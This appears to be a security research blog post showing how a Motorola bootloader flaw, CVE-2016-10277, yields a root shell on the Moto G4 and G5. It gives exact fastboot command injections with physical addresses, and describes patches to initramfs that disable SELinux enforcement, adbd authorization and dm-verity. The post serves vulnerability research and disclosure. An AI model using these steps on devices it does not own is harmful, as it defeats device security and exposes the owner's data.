In the previous blog post, we suggested that CVE-2016-10277 could affect other Motorola devices. After receiving a few reports on Twitter that this was indeed the case, we acquired a couple of Motorola devices, updated to the latest available build we received over-the-air:
athene
XT1622
, running NPJS25.93-14.4
, bootloader moto-msm8952-B1.05
.cedric
XT1676
, running NPP25.137-33
, bootloader moto-msm8937-B8.09
.initrd
, which allows us to force the Linux kernel to populate initramfs
into rootfs
from a specified physical address.initramfs
at a known physical address, named SCRATCH_ADDR
(0x11000000
for Nexus 6).Verifying that the devices were indeed vulnerable was pretty straightforward, a simple fastboot oem config fsg-id "a androidboot.foo=bar"
caused the ro.boot.foo
property to be created:
$ fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a androidboot.foo=bar
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.013s]
$ fastboot continue
$ adb shell
cedric:/ $ getprop ro.boot.foo
bar
cedric:/ $
That proved that the argument had been injected into the cedric
kernel command-line. (With a similar result on athene
)
Next we verified that we could control the initrd
argument, which allowed us to force the Linux kernel to load initramfs
from a specified physical address. We ran fastboot oem config fsg-id "a initrd=0x12345678,1234"
, expecting the kernel to crash afterwards. It indeed crashed!
As mentioned above, there are two G4 & G5 specific requirements that we need to resolve before we can exploit the vulnerability:
SCRATCH_ADDR
values used by the bootloaders.initramfs
archives.Loading athene
’s and cedric
’s ABOOTs in IDA quickly reveals SCRATCH_ADDR
:
// athene
signed int target_get_scratch_address()
{
return 0x90000000;
}
// cedric
signed int target_get_scratch_address()
{
return 0xA0100000;
}
(Research tip: athene
’s and cedric
’s ABOOTs have full symbols, and share much code with the stripped shamu
’s ABOOT)
Before we dived into the malicious initramfs
creation, we wanted to verify that the SCRATCH_ADDR
values were indeed correct, otherwise it would have been difficult to pinpoint potential problems. That proved to be a good plan, as we will see next.
In order to verify the addresses, we extracted the original initramfs
archives from the boot images inside the official Motorola firmware. We then exploited the vulnerability, loading the official initramfs
, but from SCRATCH_ADDR
instead.
$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x90000000,1766036
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
$ fastboot flash aleph initramfs.cpio.gz
target reported max download size of 536870912 bytes
sending 'aleph' (1725 KB)...
OKAY [ 1.088s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.095s
$ fastboot continue
Instead of loading normally, the devices ran into infinite boot loops, leaving us quite puzzled.
We then took a wild guess. We’ve realized that after we upload initramfs
into SCRATCH_ADDR
, and before ABOOT
jumps to the Linux kernel, cedric
’s and athene
’s ABOOTs could put some other unrelated data at SCRATCH_ADDR
, corrupting our initramfs
(but not fully).
Overcoming this obstacle can be done by placing some padding data before initramfs
, and adjusting initrd
accordingly (to SCRATCH_ADDR + sizeof(PADDING)
). Therefore, if our hypothesis were true, we would have the following memory layout just before the Linux kernel execution:
.--------------------------------.----------------------.
| Physical Address | Data |
|--------------------------------|----------------------|
| SCRATCH_ADDR | Corrupted PADDING |
| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |
`--------------------------------'----------------------'
True the hypothesis or not, using this technique, with a 32MB padding (0x20000000
) has resolved our boot loops.
In the Nexus 6 case, in order to create an initramfs that gave us an unrestricted root shell through adb, we had just compiled an AOSP userdebug
image. That worked because the userdebug
image has the capable su
SELinux domain, and an adbd
that given some system properties, does not setuid
/setgid
to shell
, does not drop its capabilities, and does not ask for authorization.
Since we don’t have a build configuration for Moto G4 & Moto G5, we decided to take the quickest path, and patch the official initramfs
archives:
init
, we’ve put SELinux into permissive
mode. The result code is something similar to the following:
static void selinux_initialize(bool in_kernel_domain) {
[...]
if (in_kernel_domain) {
[...]
bool is_enforcing = selinux_is_enforcing();
security_setenforce(0); // always permissive
[...]
}
adbd
such that it remains as root
, and does not drop its capabilities. (We replaced the relevant calls with NOP
s).adbd
such that it does not ask for authorization. (We’ve set the auth_required
global to 0).dm-verity
on the relevant partitions.init.mmi.usb.sh
Updated PoC is available on the initroot
repository.
On Moto G4:
$ fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$ fastboot flash aleph initroot-athene.cpio.gz
$ fastboot continue
$ adb shell
athene:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # getenforce
Permissive
athene:/ #
On Moto G5:
$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598"
$ fastboot flash aleph initroot-cedric.cpio.gz
$ fastboot continue
$ adb shell
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #